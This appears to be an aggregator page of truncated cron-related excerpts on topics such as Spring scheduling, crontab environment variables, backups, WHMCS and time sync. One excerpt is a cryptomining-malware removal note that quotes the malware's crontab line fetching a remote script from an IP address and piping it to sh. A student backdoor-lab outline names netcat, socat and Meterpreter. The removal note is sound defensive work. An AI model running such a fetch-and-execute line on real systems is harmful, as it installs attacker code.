cron

Is it possible to call a spring scheduled method manually

时光怂恿深爱的人放手 提交于 2020-05-14 22:29:11
问题 Is there a way to call a spring scheduled method (job) through a user interaction? I need to create a table with shown all jobs and the user should be able to execute them manually. For sure the jobs run automatically but the user should be able to start them manually. @Configuration @EnableScheduling public class ScheduleConfiguration { @Bean public ScheduledLockConfiguration taskScheduler(LockProvider lockProvider) { return ScheduledLockConfigurationBuilder .withLockProvider(lockProvider)

How to use env .bashrc variables on crontab?

半腔热情 提交于 2020-05-14 09:07:17
问题 I need to send a personal env variable $FTP111_PASSWD defined at my personal .bashrc to crontab execution. How to set an environment variable on crontab? My original shell script, named cron4_etc.sh , created for crontab execution was: #!/bin/bash cd /myFolder/ ftp -n -i <<EOF open 101.111.111.111 user myUser "$FTP111_PASSWD" mget check_*.log bye EOF If I execute the script via terminal ./cron4_etc.sh it is executing fine, but if I have start it using the following crontab line */20 * * * *

Execute a shell script everyday at specific time [duplicate]

假装没事ソ 提交于 2020-05-09 17:52:32
问题 This question already has answers here : How to write a cron that will run a script every day at midnight? (6 answers) Closed 4 years ago . I have a simple shell script that just checks the contents of a directory and if anything was added during the day makes a copy of it to a backup folder. I'd like to execute this script at the end of each day (let's assume at 23:55). The system(Debian) which this scripts reside on it, is always on (kind of server) How can I do that? 回答1: You want to edit

Vultr自动备份相关知识

梦想与她 提交于 2020-05-09 16:15:21
Vultr在计算实例上提供自动备份选项。备份对于任务关键型系统非常重要,Vultr备份系统通过一个易于管理的特性增加了数据保护功能。本文详细介绍了在云服务器上使用Vultr自动备份的一些亮点。 概述 备份存储在与原始实例相同的数据中心中,存储在一个独立的、容错的存储系统中。 可以将自动备份配置为每天、每隔一天、每周或每月运行一次。 备份发生的日期、星期/月的日期是可配置的。 您只能还原整个服务器的快照,而不能还原单个文件。 您的两个最新备份由Vultr存储。在每个计划的间隔之后删除旧的备份。 备份包括VPS活动文件系统。备份不包括附加的块存储卷。 定价 启用自动备份的实例每月/每小时的基本费用将增加20%。 配置备份 自动备份设置是通过Vultr控制面板来管理的。一旦您登录到您的帐户,访问服务器的管理区域,并点击“备份”选项卡。 通过API配置备份 Vultr API在服务器部分提供了备份功能,可以启用、禁用和管理服务器的备份设置。您可以将备份和快照视为相同类型的对象。我们在Vultr API中分别对它们进行了建模,以便将来扩展备份服务。 限制 自动备份获取活动文件系统的常规快照。由于我们不会停止您的服务器来获取快照,所以从备份启动与在您的服务器重新启动之后重新启动是类似的。 虽然现代的文件系统和数据库能够很好地处理这种情况,但是在运行非常活跃和写密集型数据库类型的系统时

记录kdevtmpfsi挖矿病毒处理记录和方法

南笙酒味 提交于 2020-05-09 07:01:36
病毒名称: kdevtmpfsi 状态: CPU爆满,导致线上服务宕机。 图片是盗的,进程占用是真实的。 1、# top 查看cpu占用情况,找到占用cpu的进程 最后是 kdevtmpfsi 2、# netstat -natp 根据上面的进程名查看与内网的 tcp 链接异常 ,看到陌生ip,查出为国外ip,估计主机被人种后门了 此时,挖矿脚本大概率定时在你的 crontab里面。 crontab -l ,发现异常定时任务,* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1 查看这个进程运行状态 systemctl status 3127 systemctl status 3127 ps -aux | grep kinsing ps -aux | grep kdevtmpfsi kill -9 3127 cd /tmp ls rm -rf kdevtmpfsi rm -rf /var/tmp/kinsing 记得这个守护进程的文件也要删掉,找不到的话,也可以用这个命令 find / -name kdevtmpfsi find / -name kinsing 进入 /var/spool/cron 查看是否有相关的木马定时任务在执行 有的话删掉再重启下 crontab 后续工作溯源

使用Golang + lua实现一个值班机器人

江枫思渺然 提交于 2020-05-08 08:14:50
我们在的项目组呢,有一项工作是,收邮件(很大程度上使用邮件是为了存个底),然后从我们的系统里边查一下相关信息,然后回复个邮件的工作。虽然工作量并不大,但是会把时间切的稀碎。为了拯救我的时间,所以做了一个邮件的值班机器人。让他来顶替我自动回复邮件,考虑到这个东西应该也有不少人会用得到,所以就把这个东西分享出来。先把效果分享出来。 服务器上就很简单,dutyrobot就是Golang编译之后的框架。lua文件夹中就是使用lua编写的业务逻辑。Data.json就是保存了一些相关的数据,防止重启之后,数据丢掉,比如说Cookie信息。 用最基础的alpine进行启动一下,并且将相关的文件夹映射到容器里边,然后在容器里边启动软件。这么做主要是为了让镜像能够拥有自己的环境变量。 然后业务逻辑里边定期,收邮件,然后判定业务逻辑,执行对应的lua脚本,然后回复邮件。 在顺手往我们的内部事务群里边推一条相关结果。 其实我本职是C#程序员来着,做这个东西,最先也是使用C#来实现的,不过C#跟Lua相性不好,我没有找到比较优雅的类库。要上Linux系统,用.net core + C 调用lua的方式虽然也尝试过,但是我本身对这件事情还是非常虚的。Python的各种包安装都给我搞蒙蔽了。所以最后就选用了Golang来写底层函数公布给Lua,然后让lua来写各种业务逻辑的方式来实现整个项目。框架部分嘛

使用Golang + lua实现一个值班机器人

懵懂的女人 提交于 2020-05-08 08:07:25
我们在的项目组呢,有一项工作是,收邮件(很大程度上使用邮件是为了存个底),然后从我们的系统里边查一下相关信息,然后回复个邮件的工作。虽然工作量并不大,但是会把时间切的稀碎。为了拯救我的时间,所以做了一个邮件的值班机器人。让他来顶替我自动回复邮件,考虑到这个东西应该也有不少人会用得到,所以就把这个东西分享出来。先把效果分享出来。 服务器上就很简单,dutyrobot就是Golang编译之后的框架。lua文件夹中就是使用lua编写的业务逻辑。Data.json就是保存了一些相关的数据,防止重启之后,数据丢掉,比如说Cookie信息。 用最基础的alpine进行启动一下,并且将相关的文件夹映射到容器里边,然后在容器里边启动软件。这么做主要是为了让镜像能够拥有自己的环境变量。 然后业务逻辑里边定期,收邮件,然后判定业务逻辑,执行对应的lua脚本,然后回复邮件。 在顺手往我们的内部事务群里边推一条相关结果。 其实我本职是C#程序员来着,做这个东西,最先也是使用C#来实现的,不过C#跟Lua相性不好,我没有找到比较优雅的类库。要上Linux系统,用.net core + C 调用lua的方式虽然也尝试过,但是我本身对这件事情还是非常虚的。Python的各种包安装都给我搞蒙蔽了。所以最后就选用了Golang来写底层函数公布给Lua,然后让lua来写各种业务逻辑的方式来实现整个项目。框架部分嘛

WHMCS域名更换教程

懵懂的女人 提交于 2020-05-06 15:04:21
大家在使用 WHMCS系统 时,会遇到更换域名情况,下面就和大家分享一下WHMCS域名更换教程? 步骤一:登录旧网站后台 登录您的旧网站后台,依次点击“常规设置”-“网站状态”,开启防止客户区访问。 步骤二:登录WHMCS官网,授权新域名 进入WHMCS官网,注册新的会员号,给您的域名获取新的授权。 步骤三:进入WHMCS客户区 登录WHMCS官网客户区,下载您需要安装版本 ,按照要求下载即可。 步骤四: WHMCS安装 新域名 将下载好的安装包上传到你的新域名空间上进行安装,安装后,进入WHMCS官网后台,依次点击“帮助中心”-“授权信息”-“forcelicenseupdate”,这样WHMCS官网就能看到你安装授权主机的信息。 步骤五:将旧域名网站程序转移到新域名 将旧域名的网站程序(configuration.php不要上传)和数据库文件搬家到新域名空间下。 步骤六:登录新站 WHMCS 后台 进入新站WHMCS后台,点击“常规设置”,将旧域名的网址修改为新域名,并在主机上修改cron计划命令中的路径,操作完成之后,再测试一下网址其他方面是否正常。 以上操作后会保留网站原有的数据和设置,大家还不清楚WHMCS域名更换的,可以参考本文。 来源: oschina 链接: https://my.oschina.net/u/4331787/blog/4268014

如何在 Ubuntu 上设置时间同步

﹥>﹥吖頭↗ 提交于 2020-05-06 07:25:21
你可能设置过 cron 任务 来在特定时间备份重要文件或执行系统相关任务。也许你配置了一个日志服务器在特定时间间隔 轮转日志 。但如果你的时钟不同步,这些任务将无法按时执行。这就是要在 Linux 系统上设置正确的时区并保持时钟与互联网同步的原因。本指南介绍如何在 Ubuntu Linux 上设置时间同步。下面的步骤已经在 Ubuntu 18.04 上进行了测试,但是对于使用 systemd 的 timesyncd 服务的其他基于 Ubuntu 的系统它们是相同的。 在 Ubuntu 上设置时间同步 通常,我们在安装时设置时区。但是,你可以根据需要更改或设置不同的时区。 首先,让我们使用 date 命令查看 Ubuntu 系统中的当前时区: $ date 示例输出: Tue Jul 30 11 : 47 : 39 UTC 2019 如上所见, date 命令显示实际日期和当前时间。这里,我当前的时区是 UTC,代表协调世界时。 或者,你可以在 /etc/timezone 文件中查找当前时区。 $ cat / etc / timezone UTC 现在,让我们看看时钟是否与互联网同步。只需运行: $ timedatectl 示例输出: Local time : Tue 2019 - 07 - 30 11 : 53 : 58 UTC Universal time : Tue 2019

2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

僤鯓⒐⒋嵵緔 提交于 2020-05-06 03:09:02
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Meterpreter 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shell, 任务计划启动 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell 实验遇到的问题及解决方法 实验总结与体会 一、后门的概念 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法 二、基础问题回答 问:例举你能想到的一个后门进入到你系统中的可能方式? 当我们打开一个木马网页时,会自动安装木马,生成可执行文件,以此在系统留下后门。 黑客利用系统自身的某个服务或者线程,将后门程序插入到其中 问:例举你知道的后门如何启动起来(win及linux)的方式? Windows:设置为开机自启动、修改注册表项 Linux